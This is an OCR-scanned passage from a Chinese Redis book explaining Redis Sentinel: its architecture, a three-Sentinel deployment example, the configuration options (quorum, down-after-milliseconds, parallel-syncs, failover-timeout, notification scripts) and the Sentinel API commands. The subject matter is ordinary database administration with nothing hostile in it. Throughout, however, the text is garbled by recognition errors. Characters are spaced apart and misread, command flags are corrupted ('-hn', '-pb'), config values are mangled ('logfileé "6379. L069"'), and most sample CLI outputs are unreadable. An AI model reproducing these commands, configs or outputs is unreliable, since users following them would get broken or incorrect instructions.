Redis Sentinel 具 有 以 下 几 个 功能 : 





.监控 ，Sentinel 节 点 会 定期 检测 Redis 数 据 节 点 、 其 余 Sentinel 节 点 是 否 


可 达 。 


:通知 : Sentinel 节 点 会 将 故障 转移 的 结果 通知 给 应 用 方 。 


` 主 市 反 故 障 转 移 ， 实 现 从 节操 普 升 为 主 节点 并 维护 后 续 正 确 的 主 从 关 
系 。 


:配置 提供 者 ， 在 Redis Sentinel 结 构 中 ， 客 户 端 在 初始 化 的 时 候 连 接 的 
是 Sentinel 节 点 集合 ， 从 中 获取 主 节 点 信息 。 





同时 看 到 ，Redis Sentinel 包 含 了 知 个 Sentinel 节 上 点， 这样 做 也 珊 来 了 两 个 
好 处 : 


.对 于 节点 的 故障 判断 是 由 多 个 Sentinel 节 点 共同 完成 ， 这 样 可 以 有 效 地 
防止 误 判 。 


:Sentinel 节 点 集合 是 由 若干 个 Sentinel 节 点 组 成 的 ， 这 样 即 使 个 别 Sentinel 
节点 不 可 用 ， 整 个 Sentinel 节 点 集合 依然 是 健壮 的 。 





但 是 Sentinel 节 点 本 身 就 是 独立 的 Redis 节 点 ， 只 不 过 它们 有 一 些 特殊 ， 
它们 不 存储 数据 ， 只 支持 部 分 命令 。 下 一 节 将 完整 介绍 Redis Sentinel 的 部 署 
过 程 ， 相 信和 在 安装 和 部 署 完 Redis Sentinel 后 ， 读 者 能 更 清晰 地 了 解 Redis 
Sentinel 的 整体 架构 。 
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9.2 ”安装 和 部 加 





上 一 市 介绍 了 Redis Sentinel 的 基本 架构 ， 本 节 将 介绍 如 何 安 装 和 部 署 


Redis Sentinel。 
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9.2.1 部署 拓扑 结构 


下 面 将 以 3 个 Sentinel 节 点 、1 个 主 节点 、2 个 从 节点 组 成 一 个 Redis 
Sentinel 进 行 说明 ， 拓 扑 结 构 如 图 9-13 所 示 。 





ns GD GE GD GE db es emp uD UD mp GD Gm illb UE dE GD i SS SS CS CS i em 
， sentinel sentinel sentinel 
) 26379 26380 26381 


slave-1 


6380 





图 9-13 ”Redis Sentinel 安 装 示例 拓扑 图 
具体 的 物理 部 车 如 表 9-2 所 示 。 


表 9-2 Redis Sentinel 物 理 结构 


角色 ip | port 别名 ( 为 了 后 文中 方便 ) 
master 主 节点 或 者 6379 节点 

slave-1 slave-1 节点 或 者 6380 节点 
slave-2 slave-2 节点 或 者 6381 节点 
sentinel-1 sentinel-1 节点 或 者 26379 节点 
sentinel-2 sentinel-2 节点 或 者 26380 节点 
sentinel-3 sentinel-3 节点 或 者 26381 节点 


9.2.2 部署 Redis 数 据 节 点 


9.1 节 提 到 过 ，Redis Sentinel 中 Redis 数 据 节 点 没有 做 任何 特殊 配置 ， 按 
照 之 前 章节 介绍 的 方法 局 动 束 可 以 ， 下 面 以 一 个 比较 简单 的 配置 进行 说 明 。 





1. 启 动 主 节点 


配置 : 





redis-6379.conf 

port 6379 

daemonize yes 

logfileé "6379. L069" 
dbfilename "dump-6379.rdb" 
dir "/opt/soft/redis/data/" 





局 动 主 节点 : 





redis-server redis-6379.conf 








确认 是 否 启动 。 一 般 来 说 只 需要 ping 命 令 检测 一 下 就 可 以 ， 确 认 Redis 数 











$ redis-cli -h 127.0.0.1 -p 6379 ping 
PONG 





此 时 拓扑 结构 如 图 9-14 所 示 。 


inaster 


6379 


489 


图 9-14 ”启动 主 节点 


2. 司 动 两 个 从 节点 


配置 : 


两 个 从 节点 的 配置 是 完全 一 样 的 ， 下 面 以 一 个 从 节点 为 例子 进行 说 明 ， 
和 主 节 点 的 配置 不 一 样 的 是 添加 了 slaveof 配 置 。 





redis-6380.conf 

port 6380 

daemonize yes 

logfile "6380.10g" 
dbfilename "dump-6380.rdb" 
dir "/opt/soft/redis/data/" 
slaveof 127.0.0.1 6379 





局 动 两 个 从 市 后: 








redis-server redis-6380.conf 
redis-server redis-6381.conf 








验证 : 





$ redis-cli -h 127.0.0.1 -p 6380 ping 
PONG 
$ redis-cli -h 127.0.0.1 -pb 6381 ping 
PONG 








3. 确 认 主 从 关系 


主 节点 的 视角 ， 它 有 两 个 从 节点 ， 分 别 是 127.0.0.1: 6380 和 127.0.0.1: 


0381: 





$ redis-cli -hn 127.0.0.1 -p 6379 info replication 
# Replication 
role:master 
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connected slaves:2 
slave0:ip=127.0.0.1,port=6380,state=online,offset=281,1ag=1 
slavel:ip=127.0.0.1,port=6381, state=online,offset=281,1ag=0 




















从 节点 的 视角 ， 它 的 主 节点 是 127.0.0.1: 6379: 





$ redis-cli -hn 127.0.0.1 -p 6380 info replication 
# Replication 

role:slave 

master host:127.0.0.1 

master port:6379 

master link status:up 





图 9-15 添加 两 个 从 节点 
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9.2.3 部署 Sentinel 节 点 








3 个 Sentinel 节 点 的 部 署 方法 是 完全 一 致 的 (端口 不 同 ) ， 下 面 以 
sentinel-1 节 点 的 部 署 为 例子 进行 说 明 。 


1. 配 置 Sentinel 节 点 





redis-sentinel-26379.conf 

port 26379 

daemonize yes 

logfile "26379.10g" 

dir /opt/soft/redis/data 

sentinel monitor mymaster 127.0.0.1 6379 2 
sentinel down-after-milliseconds mymaster 30000 
sentinel parallel-syncs mymaster 1 

sentinel failover-timeout mymaster 180000 














1) Sentinel 节 点 的 默认 端口 是 26379。 


2) sentinel monitor mymaster127.0.0.163792 配 置 代表 sentinel-1 节 点 需要 监 
控 127.0.0.1: 6379 这 个 主 节操 ，2 代 表 判 断 主 节 扣 失败 至 少 需 要 2 个 Sentinel 市 
点 同意 ，mymaster 是 主 节 点 的 别名 ， 其 余 Sentinel 配 置 将 在 下 一 节 进 行 详细 说 
明 。 


2. 启 动 Sentinel 节 点 
Sentinel 节 点 的 启动 方法 有 两 种 : 


方法 一 ， 使 用 redis-sentinel 命 令 : 





redis-sentinel redis-sentinel-26379.conf 








方法 二 ， 使 用 redis-server 命 令 加 --sentinel 参 数 : 
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redis-server redis-sentinel-26379.conf --sentinel 








两 种 方法 本 质 上 是 一 样 的 。 


3. 确 认 


Sentinel 贡 点 本 质 上 是 一 个 特殊 的 Redis 节 点 ， 所 以 也 可 以 通过 info 命 令 
来 查询 它 的 相关 信息 ， 从 下 面 infp 的 Sentinel 片 段 来 看 ，Sentinel 节 点 找到 了 主 
节点 127.0.0.1: 6379， 发 现 了 它 的 两 个 从 节点 ， 同 时 发 现 Redis Sentinel 一 共 
有 3 个 Sentinel 节 点 。 这 里 只 需要 了 解 Sentinel 节 点 能 够 彼此 感知 到 对 方 ， 同 时 
能 够 感知 到 Redis 数 据 节点 就 可 以 了 : 





$ redis-cli -hn 127.0.0.1 -p 26379 info Sentinel 
# Sentinel 
sentinel masters:1 

sentinel tilt:0 

sentinel running scripts:0 

sentinel scripts queue length:0 
master0:name=mymaster,status=ok,address=127.0.0.1:6379,slaves=2,sentinels=3 














当 三 个 Sentinel 节 点 都 启动 后 ， 整 个 拓扑 结构 如 图 9-16 所 示 。 


至 此 Redis Sentinel 已 经 搭建 起 来 了 ， 整 体 上 还 是 比较 容易 的 ， 但 是 有 2 
点 需要 强调 一 下 : 





1) 生产 环境 中 建议 Redis Sentinel 的 所 有 节点 应 该 分 布 在 不 同 的 物理 机 


2) Redis Sentinel 中 的 数据 节点 和 普通 的 Redis 数 据 节 点 在 配置 上 没有 任 
何 区 别 ， 只 不 过 是 添加 了 一 些 Sentinel 节 点 对 它们 进行 监控 。 
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监控 

1 

| ? 

1 sentinel 坚 控 | sentinel 监控 | sentinel 
| 26379 26380 26381 





slave-1 slave-2 
6380 6381 


图 9-16 ”Redis Sentinel 最 终 拓扑 结构 
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9.2.4 配置 优化 


了 解 每 个 配置 的 含义 有 助 于 更 加 合理 地 使 用 Redis Sentinel， 因 此 本 节 将 
对 每 个 配置 的 使 用 和 优化 进行 详细 介绍 。Redis 安 装 目 录 下 有 一 个 
sentinel.conf， 是 默认 的 Sentinel 节 点 配置 文件 ， 下 面 就 以 它 作 为 例子 进行 说 
明 。 


1. 配 置 说 明和 优化 





port 26379 

dir /opt/soft/redis/data 

sentinel monitor mymaster 127.0.0.1 6379 2 

sentinel down-after-milliseconds mymaster 30000 

sentinel parallel-syncs mymaster 1 

sentinel failover-timeout mymaster 180000 

#sentinel auth-pass <master-name> <password> 

#sentinel notification-script <master-name> <script-path> 
#sentinel client-reconfig-script <master-name> <script-path> 





























port 和 dir 分 别 代 表 Sentinel 节 点 的 端口 和 工作 目录 ， 下 面 重点 对 sentinel 相 
关 配 置 进 行 详细 说 明 。 


(1) sentinel monitor 


配置 如 下 : 





sentinel monitor <master-name> <ip> <port> <quorum> 





Sentinel 市 点 会 定期 监控 主 节点 ， 所 以 从 配置 上 必然 也 会 有 所 体现 ， 本 
配置 说 明 Sentinel 节 点 要 监控 的 是 一 个 名 字 叫 做 <master-name>，ip 地 址 和 端 
口 为 <ip><porft> 的 主 节点 。<quorum> 代 表 要 判定 主 节点 最 终 不 可 达 所 需要 的 
票数 。 但 实际 上 Sentinel 节 点 会 对 所 有 节点 进行 监控 ， 但 是 在 Sentinel1 节 点 的 
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配置 中 没有 看 到 有 关 从 节点 和 其 余 Sentinel 节 点 的 配置 ， 那 是 因为 Sentinel 节 
点 会 从 主 节 点 中 获取 有 关 从 节点 以 及 其 余 Sentinel 节 点 的 相关 信息 ， 有 关 
部 分 是 如 何 实现 的 ， 将 在 9.5 节 介绍 。 








例如 某 个 Sentinel 初 始 节 点 配置 如 下 : 





Port 26379 

daemonize yes 

logfile "26379.1og" 

dir /opt/soft/redis/data 

sentinel monitor mymaster 127.0.0.1 6379 2 
sentinel down-after-milliseconds mymaster 30000 
sentinel parallel-syncs mymaster 1 

sentinel failover-timeout mymaster 180000 

















当 所 有 节点 局 动 后 ， 配 置 文件 中 的 内 容 发 生 了 变化 ， 体 现在 三 个 方面 : 





“Sentinel 节 点 自动 发 现 了 从 节点 、 其 余 Sentinel 节 点 。 
:去 掉 了 默认 配置 ， 例 如 parallel-syncs、failover-timeout 参 数 。 
添加 了 配置 纪元 相关 参数 。 


局 动 后 变化 为 : 





port 26379 

daemonize yes 

logfile "26379.1og" 

dir "/opt/soft/redis/data" 

sentinel monitor mymaster 127.0.0.1 6379 2 

sentinel config-epoch mymaster 0 

sentinel leader-epoch mymaster 0 

# 发 现 两 个 slave 节 点 

sentinel known-slave mymaster 127.0.0.1 6380 

sentinel known-slave mymaster 127.0.0.1 6381 

# 发 现 两 个 sentinel 节 点 

sentinel known-sentinel mymaster 127.0.0.1 26380 282a70ff56c36ed56e8f7ee6ada741 
24140d6f53 
sentinel known-sentinel mymaster 127.0.0.1 26381 f714470d30a6la8e39ae031192flfe 
ae7ebo5b2be 

sentinel current-epoch 0 

















下 
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<quorum> 参 数 用 于 故障 发 现 和 判定 ， 例 如 将 quorum 配 置 为 2， 代 表 至 少 
有 2 个 Sentinel 节 点 认为 主 节 点 不 可 达 ， 那 么 这 个 不 可 达 的 判定 才 是 客观 的 。 
对 于 <quorum> 设 置 的 越 小 ， 那 么 达到 下 线 的 条 件 越 宽松 ， 反 之 越 严格 。 一 
般 建 议 将 其 设置 为 Sentinel 节 点 的 一 半 加 1。 


同时 <quorum> 还 与 Sentinel 节 点 的 领导 者 选举 有 关 ， 至 少 要 有 
max (quorum，num (sentinels) /2+1) 个 Sentinel 节 点 参与 选举 ， 才 能 选 出 领 
导 者 Sentinel， 从 而 完成 故障 转移 。 例 如 有 5 个 Sentinel 节 点 ，quorum=4， 那 么 
至 少 要 有 max (quorum，num (sentinels) /2+1) =4 个 在 线 Sentinel 节 点 才 可 以 


进行 领导 者 选举 。 
(2 ) sentinel down-after-milliseconds 


配置 如 下 : 





sentinel down-after-milliseconds <master-name> <times> 





每 个 Sentinel 节 点 都 要 通过 定期 发 送 ping 命 令 来 判断 Redis 数 据 节 点 和 其 
余 Sentinel 节 点 是 否 可 达 ， 如 果 超 过 了 down-after-milliseconds 配 置 的 时 间 且 没 
有 有 效 的 回复 ， 则 判定 节点 不 可 达 ，<times> (单位 为 毫秒 ) 就 是 超时 时 
间 。 这 个 配置 是 对 节点 失败 判定 的 重要 依据 。 





优化 说 明 : down-after-milliseconds 越 大 ， 代 表 Sentinel 节 点 对 于 节点 不 可 
达 的 条 件 越 宽 松 ， 反 之 越 严 格 。 条 件 宽松 有 可 能 带 来 的 问题 是 节点 确实 不 可 
达 了 ， 那 么 应 用 方 需要 等 待 故障 转移 的 时 间 越 长 ， 也 束 意 味 着 应 用 方 故 障 时 
间 可 能 越 长 。 条 件 严 格 虽 然 可 以 及 时 发 现 故 障 完成 故障 转移 ， 但 是 也 存在 一 
定 的 误 判 率 。 
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down-after-milliseconds 虽 然 以 <master-name> 为 参数 ， 但 实际 上 对 
Sentinel 节 点 、 主 节点 、 从 节点 的 失败 判定 同时 有 效 。 


(3) sentinel parallel-syncs 


配置 如 下 : 





sentinel parallel-syncs <master-name> <nums> 








当 Sentinel 节 点 集合 对 主 节点 故障 判定 达成 一 致 时 ，Sentinel 领 导 者 节点 
会 做 故障 转移 操作 ， 选 出 新 的 主 节点 ， 原 来 的 从 节点 会 向 新 的 主 节点 发 起 复 
制 操 作 ，parallel-syncs 就 是 用 来 限制 在 一 次 故障 转移 之 后 ， 每 次 向 新 的 主 节 
点 发 起 复制 操作 的 从 节点 个 数 。 如 果 这 个 参数 配置 的 比较 大 ， 那 么 多 个 从 节 
点 会 向 新 的 主 节点 同时 发 起 复制 操作 ， 尽 管 复制 操作 通常 不 会 阻塞 主 节点 ， 
但 是 同时 向 主 节点 发 起 复制 ， 必 然 会 对 主 节点 所 在 的 机 器 造成 一 定 的 网 络 和 
磁盘 IO 开 销 。 图 9-17 展 示 parallel-syncs=3 和 parallel-syncs=1 的 效果 ，parallel- 
syncs=3 会 同时 发 起 复制 ，parallel-syncs=1 时 从 节点 会 轮 询 发 起 复制 。 








(4) sentinel failover-timeout 


配置 如 下 : 





sentinel failover-timeout <master-name> <times> 
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parallel-syncs=3 


parallel-syncs= 1 


. - 





图 9-17 parallel-syncs 参 数 效 果 


failover-timeout 通 第 被 解释 成 故障 转移 超时 时 间 ， 但 实际 上 它 作 用 于 故 
障 转移 的 各 个 阶段 : 


a) 选 出 合适 从 节点 。 


b 


We 


羊 升 选 出 的 从 市 后 为 主 节点 。 


c) 命令 其 余 从 节点 复制 新 的 主 市 反 。 











d) 等 待 原 主 节点 恢复 后 命令 它 去 复制 新 的 主 节点 。 
failover-timeout 的 作用 具体 体现 在 四 个 方面 : 


1) 如果 Redis Sentinel 对 一 个 主 节点 故障 转移 失败 ， 那 么 下 次 再 对 该 主 
节点 做 故障 转移 的 起 始 时 间 是 failover-timeout 的 2 倍 。 


2) 在 b) 阶段 时 ， 如 果 Sentinel 市 点 辐 a〉 阶 段 选 出 来 的 从 节点 执行 


499 


slaveof no one 一 直 失 败 〈 例 如 该 从 节点 此 时 出 现 故 障 ) ， 当 此 过 程 超过 
failover-timeout 时 ， 则 故障 转移 失败 。 


3) 在 b) 阶段 如 果 执 行 成 功 ，Sentinel 节 点 还 会 执行 info 命 令 来 确认 a) 
阶段 选 出 来 的 节点 确实 普 升 为 主 节 点， 如 果 此 过 程 执行 时 间 超 过 failover- 
timeout 时 ， 则 故障 转移 失败 。 





4) 如 果 c) 阶段 执行 时 间 超 过 了 failover-timeout 〈 不 包含 复制 时 间 ) ， 
则 故障 转移 失败 。 注 意 即 使 超过 了 这 个 时 间 ，Sentinel 节 点 也 会 最 终 配 置 从 
节点 去 同步 最 新 的 主 节 点 。 


($5) sentinel auth-pass 


配置 如 下 : 





sentinel auth-pass <master-name> <password> 





如 果 Sentinel 监 控 的 主 节点 配置 了 密码 ，sentinel auth-pass 配 置 通 过 添加 
主 节点 的 密码 ， 防 止 Sentinel 节 点 对 主 节点 无 法 监控 。 





(6) sentinel notification-script 


配置 如 下 : 





sentinel notification-script <master-name> <script-path> 








sentinel notification-script 的 作用 是 在 故障 转移 期 间 ， 当 一 些 警告 级 别 的 
Sentinel 事 件 发 生 【〈 指 重要 事件 ， 例 如 -sdown: 客观 下 线 、-odown: 主观 下 
线 ) 时 ， 会 触发 对 应 路 径 的 脚本 ， 并 同 脚 本 发 送 相 应 的 事件 参数 。 
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例如 在 /opt/redis/scripts/ 下 配置 了 notification.sh， 该 脚本 会 接收 每 个 
Sentinel 节 点 传 过 来 的 事件 参数 ， 可 以 利用 这 些 参数 作为 邮件 或 者 短信 报警 
依据 : 





#!/bin/sh 

# 获 取 所 有 参数 

msg=$* 

井 报 警 脚本 或 者 接口 ， 将 ms 9g 作为 参数 
exit 0 

















如 果 需 要 该 功能 ， 就 可 以 在 Sentinel 节 点 添加 如 下 配置 (<master- 


name>=mymaster ) : 





sentinel notification-script mymaster /opt/redis/scripts/notification.sh 














例如 下 面 就 是 茶 个 Sentinel 扩 点 对 主 节 点 做 了 主观 下 线 (有 天主 观 下 线 
的 概念 将 在 9.5 节 进行 详细 介绍 ) 后 脚本 收 到 的 参数 : 


(7) sentinel client-reconfig-script 


配置 如 下 : 








sentinel client-reconfig-script <master-name> <script-path> 





sentinel client-reconfig-script 的 作用 是 在 故障 转移 结束 后 ， 会 触发 对 应 路 
径 的 脚本 ， 并 向 脚本 发 送 故 障 转移 结果 的 相关 参数 。 和 notification-script 类 
似 ， 可 以 在 /opt/redis/scripts/ 下 配置 了 client-reconfig.sh， 该 脚本 会 接收 每 个 
Sentinel 节 点 传 过 来 的 故障 转移 结果 参数 ， 并 触发 类 似 短信 和 邮件 报警 : 





#!/bin/sh 

# 获 取 所 有 参数 

msg=$* 

# 井 报警 脚本 或 者 接口 ， 将 ms g 作 为 参数 
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exit 0 





如 果 需 要 该 功能 ， 就 可 以 在 Sentinel 节 点 添加 如 下 配置 (<master- 


name>=mymaster) : 





sentinel client-reconfig-script mymaster /opt/redis/scripts/client-reconfig.sh 











当 故 障 转 移 结束 ， 每 个 Sentinel 节 点 会 将 故障 转移 的 结果 发 送 给 对 应 的 
脚本 ， 具 体 参数 如 下 : 





<master-name> <role> <state> <from-ip> <from-port> <to-ip> <to-port> 





:<master-name>: 主 节 点 名 。 


:<role>: Sentinel 节 点 的 角色 ， 分 别 是 leader 和 observer，leader 代 表 当 前 


Sentinel 节 点 是 领导 者 ， 是 它 进 行 的 故障 转移 ; observer 古 其 余 Sentinel 节 点 。 
<from-ip>: 原 主 节 点 的 ip 地 址 。 
<from-port>: 原 主 节点 的 端口 。 
<to-ip>: 新 主 节点 的 jp 地 址 。 
“<to-porf>: 新 主 节 点 的 端口 。 


例如 以 下 内 容 分 别 是 三 个 Sentinel 节 点 发 送 给 脚本 的 ， 其 中 一 个 是 


leader， 另 外 两 个 是 observer: 





mymaster leader start 127.0.0.1 6379 127.0.0.1 6380 
mymaster observer start 127.0.0.1 6379 127.0.0.1 6380 
mymaster observer start 127.0.0.1 6379 127.0.0.1 6380 
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有 关 sentinel notification-script 和 sentinel client-reconfig-script 有 几 点 需要 


注 局: 





<script-path> 必 须 有 可 执行 权限 。 


“<script-path> 开 头 必须 包含 shell 脚 本 头 《〈 例 如 #! /bin/sh) ， 人 否则 事件 发 
生 时 Redis 将 无 法 执行 脚本 产生 如 下 错误 : 





-script-error /opt/sentinel/notification.sh 0 2 











“Redis 规 定 脚本 的 最 大 执行 时 间 不 能 超过 60 秒 ， 超 过 后 脚本 将 被 杀 挥 。 


如果 shell 脚 本 以 exit 1 结束 ， 那 么 脚本 稍 后 重 试 执行 。 如 果 以 exit 2 或 者 
更 高 的 值 结束 ， 那 么 脚本 不 会 重 试 。 正 常 返回 值 是 exit 0。 


:如 果 需 要 运 维 的 Redis Sentinel 比 较 多 ， 建 议 不 要 使 用 这 种 脚本 的 形式 
来 进行 通知 ， 这 样 会 增加 部 署 的 成 本 。 


2. 如 何 监控 多 个 主 贡 所 


Redis Sentinel 可 以 同时 监控 多 个 主 节 点 ， 有 具体 拓扑 图 类 似 于 图 9-18。 





配置 方法 也 比较 简单 ， 只 需要 指定 多 个 masterName 来 区 分 不 同 的 主 节点 
即 可 ， 例 如 下 面 的 配置 监控 monitor master-business-1 (10.10.xx.1: 6379) 和 


monitor master-business-2 (10.10.xx.2: 6379) 两 个 主 节点 : 








sentinel monitor master-business-l1 10.10.xx.1 6379 2 
sentinel down-after-milliseconds master-business-1l 60000 
sentinel failover-timeout master-business-1] 180000 
sentinel parallel-syncs master-business-1 1 

sentinel monitor master-business-2 10.16.xx.2 6380 2 
sentinel down-after-milliseconds master-business-2 10000 
sentinel failover-timeout master-business-2 180000 
sentinel parallel-syncs master-business-2 1 
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图 9-18 ”Redis Sentinel 监 控 多 个 主 节 点 


3. 调 整 配置 


和 普通 的 Redis 数 据 节 点 一 样 ，Sentinel 节 点 也 支持 动态 地 设置 参数 ， 而 
且 和 普通 的 Redis 数 据 节 点 一 样 并 不 是 文 持 所 有 的 参数 ， 有 具体 使 用 方法 如 
下 : 





sentinel Set <param> <value> 





表 9-3 是 sentinel set 命 令 支 持 的 参数 。 


表 9-3 sentinel set 命 令 支 持 的 参数 
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参 数 使 用 方法 
GuUorum sentinel set mymaster quorum 2 
down-after-milliseconds sentinel set mymaster down-after-milliseconds 30000 
failover-timeout sentinel set mymaster failover-timeout 360000 
parallel-syncs sentinel set mymaster parallel-syncs 2 
notification-script sentinel set mymaster notification-script /opt/xx.sh 
client-reconfig-script sentinel set mymaster client-reconfig-script /opt/yy.sh 
auth-pass sentinel set mymaster auth-pass masterPassword 





有 几 扣 需要 注意 一 下 : 





1 ) sentinel set 命 令 只 对 当前 Sentinel 节 点 有 效 。 


2) sentinel set 命 令 如 果 执 行 成 功 会 立即 刷新 配置 文件 ， 这 点 和 Redis 普 
通 数据 节点 设置 配置 需要 执行 config rewrite 刷 新 到 配置 文件 不 同 。 





3) 建议 所 有 Sentinel 节 点 的 配置 尽 可 能 一 怪 ， 这 样 在 故障 发 现 和 转移 时 
比较 容易 达成 一 致 。 


4) 表 9-3 中 为 sentinel set 支 持 的 参数 ， 具 体 可 以 参考 源码 中 的 sentinel.c 的 


sentinelSetCommand 函 数 。 


5) Sentinel 对 外 不 支持 config 命 令 。 
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9.2.$ ”部署 技巧 











到 现在 有 关 Redis Sentinel 的 配置 和 部 署 方法 相信 读者 已 经 基本 掌握 了 ， 
但 在 实际 生产 环境 中 都 有 哪些 部 署 的 技巧 ?本 节 将 总 结 一 下 。 








1) Sentinel 节 点 不 应 该 部 署 在 一 台 物 理 “ 机 器 ”上 。 


这 里 特意 强调 物理 机 是 因为 一 台 物 理 机 做 成 了 若干 虚拟 机 或 者 现今 比较 
流行 的 容器 ， 它 们 虽然 有 不 同 的 耳 地 址 ， 但 实际 上 它们 都 是 同一 台 物 理 机 ， 
同一 台 物 理 机 意味 着 如 果 这 台 机 器 有 什么 硬件 故障 ， 所 有 的 虚拟 机 都 会 受到 
有 影响， 为 了 实现 Sentinel 节 点 集合 真正 的 高 可 用 ， 请 勿 将 Sentinel 节 点 部 署 在 
同一 台 物 理 机 器 上 。 











2) 部 署 至 少 三 个 且 奇 数 个 的 Sentinel 节 点 。 








3 个 以 上 是 通过 增加 Sentinel 市 点 的 个 数 提高 对 于 故障 判定 的 准确 性 ， 
为 领导 者 选举 需要 至 少 一 半 加 1 个 节点 ， 奇 数 个 市 点 可 以 在 满足 该 条 件 的 基 
础 上 市 省 一 个 节点 。 有 关 Sentinel 市 皮 如 何 判 断 节点 失败 ， 如 何 选举 出 一 个 


Sentinel 节 点 进行 故障 转移 将 在 9.5$ 节 进行 介绍 。 


4) 只 有 一 套 Sentinel， 还 是 每 个 主 节 点 配置 一 套 Sentinel? 





Sentinel 节 点 集合 可 以 只 监控 一 个 主 节 点 ， 也 可 以 监控 多 个 主 节点 ， 也 
就 意味 着 部 署 拓扑 可 能 是 图 9-19 和 图 9-20 两 种 情况 。 
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PP 
人 


复制 复制 复制 过 复制 


图 9-19 ”一 套 Sentinel 节 点 集合 





) ) 
| LE L 
| | sentinel-1 | | sentinel-2 | “ | | sentinel-N | 
1 一 一 一 一 一 一 一 一 一 ee 1 

/ 
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图 9-20 “多 套 Sentine 节 点 集合 





那么 在 实际 生产 环境 中 更 侦 癌 于 哪 一 种 部 嗜 方式 呢 ， 下 面 分 别 分 析 两 种 
案 的 优 缺 点 。 








方 采 一 : 一 套 Sentinel， 很 明显 这 种 方案 在 一 定 程度 上 降低 了 维护 成 
本 ， 因 为 只 需要 维护 固定 个 数 的 Sentinel 节 点 ， 集 中 对 多 个 Redis 数 据 节点 进 
管理 就 可 以 了 。 但 是 这 同时 也 是 它 的 人 缺点， 如果 这 套 Sentinel 节 点 集合 出 
见 异 常 ， 可 能 会 对 多 个 Redis 数 据闻 点 造成 影响 。 还 有 如 果 监 控 的 Redis 数 据 
点 较 多 ， 会 造成 Sentinel 闻 点 产生 过 多 的 网 络 连 接 ， 也 会 有 一 定 的 影响 。 








方案 二 : 多 套 Sentinel， 显 然 这 种 方案 的 优点 和 缺点 和 上 面 是 相反 的 ， 
每 个 Redis 主 节点 都 有 自己 的 Sentinel 节 点 集合 ， 会 造成 资源 浪费 。 但 是 优点 
也 很 明显 ， 每 套 Redis Sentinel 都 是 彼此 隔离 的 。 


© nn 


如 果 Sentinel 季 点 集合 监控 的 是 同一 个 业务 的 多 个 主 市 点 集 合 ， 那 么 使 
用 方案 一 、 否 则 一 般 建 议 采用 方案 二 。 
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9.3 API 


Sentinel 节 点 是 一 个 特殊 的 Redis 节 点 ， 它 有 自己 专属 的 API， 本 节 将 对 
其 进行 介绍 。 为 了 方便 演示 ， 以 图 9-21 进 行 说 明 : Sentinel 节 点 集合 监控 着 
两 组 主 从 模式 的 Redis 数 据 节 点 。 


1.Sentitnel masters 


展示 所 有 被 监控 的 主 节 点 状态 以 及 相关 的 统计 信息 ， 例 如 : 


) ) 
1 人 人 TREE 
1 | samer2cs7s| | :aaasracsso| | sentinel-26381 | | 
) 和 ee ee 一 一 一 一 一 一 一 1 










1master-2 


0382 





图 9-21 一 套 Sentinel 集 合 监 控 多 个 主 从 结构 





127.0.0.1:26379> sentinel masters 
1) 1) "name" 
) "mymaster-2" 
) wm ip" 
E270 0 
) "port" 

) "6382" 


QI 性 WwW Nm 
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"mymaster-1" 
wm i 

W127 00.1™ 
"port" 
MS 


“AW: 





2.sentinel master<master name> 


展示 指定 <master name> 的 主 节 点 状态 以 及 相关 的 统计 信息 ， 例 如 : 





127.0.0.1:26379> sentinel master mymaster-1 
1) "name" 


2) "mymaster-1" 
号 ) “Ep™ 
水 大- 200s LY 
5) -port" 
6) 63.79 





3.sentinel slaves<master name> 


展示 指定 <master name> 的 从 节点 状态 以 及 相关 的 统计 信息 ， 例 如 : 





127.0.0.1:26379> sentinel slaves mymaster-1 
1) 1) "name" 
} “li27:0.0s126380" 
) wm I 

) L200el™ 

) "port" 

): O380™ 


"port" 


) 

) 

) 
站 
) 

) "6381" 





4.sentinel sentinels<master name> 


展示 指定 <master name> 的 Sentinel 节 点 集合 (不 包含 当前 Sentinel 节 


S10 


点 ) ， 例 如 : 





127.0.0.1:26379> sentinel sentinels mymaster-1 
1) 1) "name" 
) L2700el 26380" 
) ES" 
) 
) 
) 





于 有 OO 二 工科 

ee h oval 

2.63807 
| 
2) ) "name" 
by “L270 00L 2638L" 
) Ls 

) 1 23720205 工科 

) “poOrt" 

) -2.6381L™ 
| 





3.Sentinel get-master-addr-by-name<master name> 


返回 指定 <master name> 主 节点 的 了 地 址 和 端口 ， 例 如 : 





127.0.0.1:26379> sentinel get-master-addr-by-name mymaster-1 
1) L270 0 LY 
2) "63797 





6.sentinel reset<pattern> 


当前 Sentinel 节 点 对 符合 <pattern> (通配符 风格 ) 主 节点 的 配置 进行 重 
置 ， 包 含 清 除 主 节 点 的 相关 状态 〈 例 如 故障 转移 ) ， 重 新 发 现 从 节点 和 


Sentinel 节 点 。 


例如 sentinel-1 节 点 对 mymaster-1 节 点 重 置 状 态 如 下 : 





127.0.0.1:26379> sentinel reset mymaster-1 
(integer) 1 





7.sentinel failover<master name> 
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对 指定 <master name> 主 节点 进行 强制 故障 转移 〈 没 有 和 其 他 Sentinel 节 
点 “协商 ”) ， 当 故障 转移 完成 后 ， 其 他 Sentinel 节 点 按照 故障 转移 的 结果 更 
新 自身 配置 ， 这 个 命令 在 Redis Sentinel 的 日 常 运 维 中 非常 有 用 ， 将 在 9.6 节 进 


行 详细 介绍 。 


例如 ， 对 mymaster-2 进 行 故障 转移 : 





127.0.0.1:26379> sentinel failover mymaster-2 
OK 





执行 命令 前 ，mymaster-2 是 127.0.0.1: 6382 





127.0.0.1:26379> info sentinel 
# Sentinel 

sentinel masters:2 

Sentinel :tiit :0 

sentinel running scripts:0 
sentinel scripts queue length:0 
master0:name=mymaster-2,status=ok,address=127.0.0.1:6382,slaves=2,sentinel 
masterl:name=mymaster-1,status=ok,address=127.0.0.1:6379,slaves=2,sentinel 




















执行 命令 后 : mymaster-2 由 原来 的 一 个 从 节点 127.0.0.1: 6383 代 蔡 。 





127.0.0.1:26379> info sentinel 
# Sentinel 

sentinel masters:2 

sentinmnel tilt:0 

sentinel running scripts:0 
sentinel scripts queue length:0 
master0:name=mymaster-2,status=ok,address=127.0.0.1:6383,slaves=2,sentinel 
masterl:name=mymaster-1,status=ok,address=127.0.0.1:6379,slaves=2,sentinel 




















8.sentinel ckquorum<master name> 


检测 当前 可 达 的 Sentinel 节 点 总 数 是 否 达 到 <quorum> 的 个 数 。 例 如 
quorum=3， 而 当前 可 达 的 Sentinel 节 点 个 数 为 2 个 ， 那 么 将 无 法 进行 故障 转 
移 ，Redis Sentinel 的 高 可 用 特性 也 将 失去 。 
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例如 : 





127.0.0.1:26379> sentinel ckquorum mymaster-1 
OK 3 usable Sentinels. Quorum and failover authorization can be reached 





9.sentinel flushconfig 





